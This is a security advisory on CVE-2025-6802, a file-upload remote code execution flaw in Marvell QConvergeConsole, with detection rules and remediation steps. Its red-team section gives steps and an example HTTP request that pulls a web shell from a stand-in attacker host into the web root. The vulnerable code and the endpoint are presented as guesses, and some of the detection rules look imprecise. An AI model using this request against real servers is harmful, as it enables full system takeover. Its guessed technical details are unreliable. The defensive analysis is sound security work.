CVE-2025-6802

Executive Summary

CVE-2025-6802 is a critical, unauthenticated remote code execution vulnerability in Marvell QConvergeConsole. The flaw resides in the getFileFromURL method, which lacks proper validation of user-supplied data, allowing an attacker to upload arbitrary files to the server. Successful exploitation enables an attacker to execute arbitrary code in the context of the SYSTEM user, leading to full system compromise. With a CVSS score of 9.8, this vulnerability is considered critical and requires immediate attention. No patch is currently available, and no public proof-of-concept (PoC) code has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of authentication required, low attack complexity, and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the getFileFromURL method of Marvell QConvergeConsole. This method is designed to fetch a file from a given URL. However, it fails to properly validate the user-supplied data, specifically the URL or the file content. An attacker can craft a request that causes the application to download and save an arbitrary file (e.g., a web shell) to a location within the web root or a directory where it can be executed.

The core issue is a lack of input validation and path traversal checks. The application does not verify that the downloaded file is of an allowed type or that the destination path is within a safe directory. This allows an attacker to upload a malicious executable or script file, which can then be triggered to execute arbitrary code with SYSTEM privileges.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code likely resembles the following pseudo-code:

# Vulnerable pseudo-code
def getFileFromURL(url, destination):
    # No validation of URL or destination
    response = requests.get(url)
    with open(destination, 'wb') as f:
        f.write(response.content)

A patched version would include:

# Patched pseudo-code
def getFileFromURL(url, destination):
    # Validate URL scheme and domain
    if not url.startswith('https://trusted-domain.com/'):
        raise ValueError("Invalid URL")
    # Validate destination path
    if not destination.startswith('/safe/directory/'):
        raise ValueError("Invalid destination")
    # Validate file extension
    if not destination.endswith('.txt'):
        raise ValueError("Invalid file type")
    response = requests.get(url)
    with open(destination, 'wb') as f:
        f.write(response.content)

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a vulnerable instance of Marvell QConvergeConsole in a lab environment.
2. Craft Payload: Create a malicious web shell (e.g., a JSP file) that executes system commands.
3. Host Payload: Host the web shell on an attacker-controlled server.
4. Exploit: Send a crafted request to the getFileFromURL endpoint with the URL pointing to the malicious file and the destination path set to the web root (e.g., C:\Program Files\Marvell\QConvergeConsole\webapps\ROOT\shell.jsp).
5. Execute: Access the uploaded web shell via a web browser to execute arbitrary commands with SYSTEM privileges.

Example request:

POST /api/getFileFromURL HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://attacker.com/shell.jsp",
  "destination": "C:\\Program Files\\Marvell\\QConvergeConsole\\webapps\\ROOT\\shell.jsp"
}

Blue Team

1. Monitor: Monitor for unusual outbound HTTP requests from the QConvergeConsole server, especially to unknown or suspicious domains.
2. Detect: Look for file creation events in the web root directory that are not part of normal operations.
3. Analyze: Review logs for the getFileFromURL method to identify any requests with suspicious URLs or destination paths.
4. Contain: If exploitation is detected, isolate the affected server immediately and block outbound connections from the QConvergeConsole service.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown IPs/domains from the QConvergeConsole server.
  • Inbound requests to the /api/getFileFromURL endpoint with JSON payloads containing url and destination fields.
• File System:
  • Unexpected files in the web root directory (e.g., .jsp, .asp, .php files).
  • Files with suspicious names or timestamps in the QConvergeConsole installation directory.
• Process:
  • Unusual child processes spawned by the QConvergeConsole service (e.g., cmd.exe, powershell.exe).

Detection Engineering

YARA Rule

rule CVE_2025_6802_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-6802 via suspicious file uploads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6802"
    strings:
        $s1 = "getFileFromURL" ascii wide nocase
        $s2 = "destination" ascii wide nocase
        $s3 = ".jsp" ascii wide nocase
        $s4 = ".asp" ascii wide nocase
        $s5 = ".php" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-6802 - Unrestricted File Upload via getFileFromURL
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-6802 by monitoring for suspicious file uploads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6802
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\javaw.exe'
        CommandLine|contains: 'getFileFromURL'
    condition: selection
falsepositives:
    - Legitimate administrative use
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6802 - Suspicious Outbound Request from QConvergeConsole"; flow:to_server; content:"getFileFromURL"; http_uri; nocase; content:"destination"; http_client_body; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, disable the getFileFromURL functionality or restrict access to it via firewall rules or application-level access controls.
2. Network Segmentation: Isolate the QConvergeConsole server from the internet and limit outbound connections to only trusted domains.
3. Input Validation: Implement strict input validation for the url and destination parameters, including whitelisting allowed URL schemes, domains, and destination paths.
4. File Type Restrictions: Restrict the types of files that can be uploaded to only safe, non-executable formats.
5. Monitor: Continuously monitor for exploitation attempts using the provided detection rules.
6. Patch: Apply any official patch from Marvell as soon as it becomes available.

Valters IT